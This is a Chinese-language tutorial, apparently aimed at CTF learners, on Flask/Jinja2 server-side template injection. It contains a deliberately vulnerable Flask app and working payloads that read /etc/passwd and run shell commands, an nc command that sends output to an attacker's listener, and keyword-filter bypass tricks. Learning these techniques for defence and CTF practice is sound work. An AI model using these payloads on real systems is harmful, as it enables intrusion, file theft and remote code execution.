SSTI(伺服器模板注入)學習

SSTI(伺服器模板注入)學習

0x01 SSTI概念

SSTI看到ss兩個字母就會想到伺服器,常見的還有SSRF(伺服器端請求偽造)。SSTI就是伺服器端模板注入(Server-Side Template Injection)
說到注入,我們常見的注入有sql注入,sql注入我們都很熟悉,但SSTI和sql注入一樣都是先從用戶獲得一個輸入將其作為 Web 應用模板內容的一部分,在進行目標編譯渲染的過程中,執行了用戶插入的惡意內容,因而可能導致了敏感資訊泄露、程式碼執行、GetShell 等問題。其影響範圍主要取決於模版引擎的複雜性。

0x02 SSTI原理

來看一個簡單的例子

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":
    app.run()

這是一個典型的SSTI漏洞例子,成因是render_template_string函數在渲染模板的時候使用了%s來動態的替換字元串,我們知道Flask 中使用了Jinja2 作為模板渲染引擎,{{}}在Jinja2中作為變數包裹標識符,Jinja2在渲染的時候會把{{}}包裹的內容當做變數解析替換。比如{{1+1}}會被解析成2。
各框架模板結構:

更詳細的伺服器模板原理網上有很多,參考
SSTI模板注入

0x03 搭建Flask(Jinja2) 服務端模板注入漏洞環境

ctf中比較常見的還是python站的SSTI,下面用vulhub上的一個環境來複現Flask的SSTI漏洞
搭建好後直接訪問

from flask import Flask
from flask import request, render_template_string, render_template

app = Flask(__name__)

@app.route('/login')
def hello_ssti():
    person = {
        'name': 'hello',
        'secret': '7d793037a0760186574b0282f2f435e7'
    }
    if request.args.get('name'):
        person['name'] = request.args.get('name')
    
    template = '<h2>Hello %s!</h2>' % person['name']

    return render_template_string(template, person=person)

if __name__ == "__main__":
    app.run(debug=True)

測試注入

傳參/login?name={{7*7}}看有什麼回顯

可以看到把括弧裡面的7*7進行了計算,說明存在SSTI漏洞
那該怎麼擴大漏洞利用範圍呢,這就要講到一些python知識(這個漏洞不止在python上,各種語言的模板都可以有,只是大多是python),這裡先給一個漏洞利用方法
執行任意命令payload

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("ls").read()') }}         //poppen的參數就是要執行的命令
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

內建函數

當我們啟動一個python解釋器時,及時沒有創建任何變數或者函數,還是會有很多函數可以使用,我們稱之為內建函數。
內建名稱空間:python自帶的名字,在python解釋器啟動時產生,存放一些python內置的名字​
我們主要關注的是內建名稱空間,是名字到內建對象的映射,在python中,初始的builtins模組提供內建名稱空間到內建對象的映射​
dir()函數用於向我們展示一個對象的屬性有哪些,在沒有提供對象的時候,將會提供當前環境所導入的所有模組,我們可以看到初始模組有哪些

這裡面,我們可以看到__builtins__是做為默認初始模組出現的,那麼用dir()命令看看__builtins__的成分

這裡我們可以看到很多熟悉的模組都是初始自帶的,比如:importstrlen等,因此python可以直接使用某些初始函數,比如直接使用len()函數

到這裡可能會有點感覺,就是只要我們能找到一個預裝模組或者類的內置方法,那麼就可以直接使用這個方法搞事。
這裡就得再說一下python的類
在python中
instance.class 可以獲取當前實例的類對象,例如

''.__class__


這裡返回的就是空字元串的類也就是,<type 'str'>
**class.mro **獲取當前類對象的所有繼承類’只是這時會顯示出整個繼承鏈的關係,是一個列表,object在最底層故在列表中的最後,通過__mro__[-1]可以獲取到

這裡在python2中還會多一個basestring類

base 對象的一個基類,一般情況下是object,有時不是,這時需要使用下一個方法

subclasses() 繼承此對象的子類,返回一個列表
我們知道python中的類都是繼承object的,所以只要調用object類對象的__subclasses__()方法就可以獲取我們想要的類的對象,比如用於讀取文件的file對象
更多函數模組參考:
沙盒逃逸常見函數

" ".__class__.__mro__
(<class 'str'>, <class 'object'>)
>>> "".__class__.__mro__[-1].__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, ......]

由於繼承object的子類有很多,查閱起來不方便,可以列舉一下

>>> for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i
... 
(0, <type 'type'>)
(1, <type 'weakref'>)
(2, <type 'weakcallableproxy'>)
(3, <type 'weakproxy'>)
(4, <type 'int'>)
(5, <type 'basestring'>)
(6, <type 'bytearray'>)
(7, <type 'list'>)
(8, <type 'NoneType'>)
(9, <type 'NotImplementedType'>)
(10, <type 'traceback'>)
(11, <type 'super'>)
(12, <type 'xrange'>)
(13, <type 'dict'>)
(14, <type 'set'>)
(15, <type 'slice'>)
(16, <type 'staticmethod'>)
(17, <type 'complex'>)
(18, <type 'float'>)
(19, <type 'buffer'>)
(20, <type 'long'>)
(21, <type 'frozenset'>)
(22, <type 'property'>)
(23, <type 'memoryview'>)
(24, <type 'tuple'>)
(25, <type 'enumerate'>)
(26, <type 'reversed'>)
(27, <type 'code'>)
(28, <type 'frame'>)
(29, <type 'builtin_function_or_method'>)
(30, <type 'instancemethod'>)
(31, <type 'function'>)
(32, <type 'classobj'>)
(33, <type 'dictproxy'>)
(34, <type 'generator'>)
(35, <type 'getset_descriptor'>)
(36, <type 'wrapper_descriptor'>)
(37, <type 'instance'>)
(38, <type 'ellipsis'>)
(39, <type 'member_descriptor'>)
(40, <type 'file'>)
.........

可以發現在第四十號指向file類,所以就可以從file類中調用open方法

''.__class__.__mro__[-1].__subclasses__()[40]("/root/Desktop/ssti-test/app.py").read()


這裡成功利用file對象的匿名實例化,並為其傳參要讀取的文件名,通過調用其讀文件函數read就可以對文件進行讀取了。

0x04 漏洞利用

在明白了基本原理後,來複現試一下,讀取密碼

''.__class__.__mro__[-1].__subclasses__()[40]("/etc/passwd").read()

命令執行

python環境下常用的命令執行方式。

os.system()

用法:os.system(command)
但是用這個無法回顯
我們可以用這個

os.popen()

用法:os.popen(command[,mode[,bufsize]])
說明:mode – 模式許可權可以是 『r』(默認) 或 『w』。
popen方法通過p.read()獲取終端輸出,而且popen需要關閉close().當執行成功時,close()不返回任何值,失敗時,close()返回系統返回值(失敗返回1). 可見它獲取返回值的方式和os.system不同。
還需要了解一個魔法函數
globals該屬性是函數特有的屬性,記錄當前文件全局變數的值,如果某個文件調用了os、sys等庫,但我們只能訪問該文件某個函數或者某個對象,那麼我們就可以利用globals屬性訪問全局的變數。該屬性保存的是函數全局變數的字典引用。

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls ").read()' )


如果os被過濾了可以用

subprocess

1.subprocess.check_call()
Python 2.5中新增的函數。 執行指定的命令,如果執行成功則返回狀態碼,否則拋出異常。其功能等價於subprocess.run(…, check=True)。
2.subprocess.check_output()
Python 2.7中新增的的函數。執行指定的命令,如果執行狀態碼為0則返回命令執行結果,否則拋出異常。
3.subprocess.Popen(「command」)
說明:class subprocess.Popen(args, bufsize=0, executable=None, stdin=None, stdout=None, stderr=None, preexec_fn=None, close_fds=False, shell=False, cwd=None, env=None, universal_newlines=False, startupinfo=None, creationflags=0)
Popen非常強大,支援多種參數和模式,通過其構造函數可以看到支援很多參數。但Popen函數存在缺陷在於,它是一個阻塞的方法,如果運行cmd命令時產生內容非常多,函數就容易阻塞。另一點,Popen方法也不會列印出cmd的執行資訊。

__init__方法

__init__方法用於將對象實例化,在這個函數下我們可以通過funcglobals(或者__globals)看該模組下有哪些globals函數(注意返回的是字典),而linecache可用於讀取任意一個文件的某一行,而這個函數引用了os模組。
組合payload:

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')

[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')
e62b7adab33a40c6b6f483c31505f0f6
e62b7adab33a40c6b6f483c31505f0f6

無回顯處理

當我們用os命令執行沒回顯時,可以用nc把回顯發到vps上

vps:nc -lvp 1234
payload: ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls | nc 127.0.0.1 1234')

#vps接收到回顯
root@iZwz91vrssa7zn3rzmh3cuZ:~# nc -lvp 123
Listening on [0.0.0.0] (family 0, port 1234)
Connection from [xx.xxx.xx.xx] port 1234 [tcp/*] accepted (family 2, sport 46258)
app.py
ap.py
Config.py

反彈shell也是一樣,有了命令執行,反彈shell應該是很方便了。

0x05 Bypass

在實戰或者ctf里出現的SSTI大多不能直接利用,一般會過濾一些關鍵字,這就需要我們掌握更多姿勢,下面介紹一些常見的
1.拼接

object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')

2.過濾””[]
藉助request對象:(這種方法在沙盒種不行,在web下才行,因為需要傳參)
request變數可以訪問所有已發送的參數,因此我們可以request.args.param用來檢索新的paramGET參數的值,將其中的request.args改為request.values則利用post的方式進行傳參

{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd

3.過濾雙下劃線__
還是request方法

{{
''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read()
}}&class=__class__&mro=__mro__&subclasses=__subclasses__

4.過濾一些函數名如__import__,
python的初始模組_builtin__里有很多危險的方法,一條路沒了就找找其他的路
我們可以直接用 eval() exec() execfile()等

__builtins__.eval()

globals

[].__class__.__base__.__subclasses__()[59]()._module.linecache.os.system('ls')

0x06 參考

//p0sec.net/index.php/archives/120/
//www.k0rz3n.com/2018/05/04/Python%20%E6%B2%99%E7%9B%92%E9%80%83%E9%80%B8%E5%A4%87%E5%BF%98/
//www.anquanke.com/post/id/188172#h3-15
//0day.work/jinja2-template-injection-filter-bypasses/
//blog.csdn.net/zz_Caleb/article/details/96480967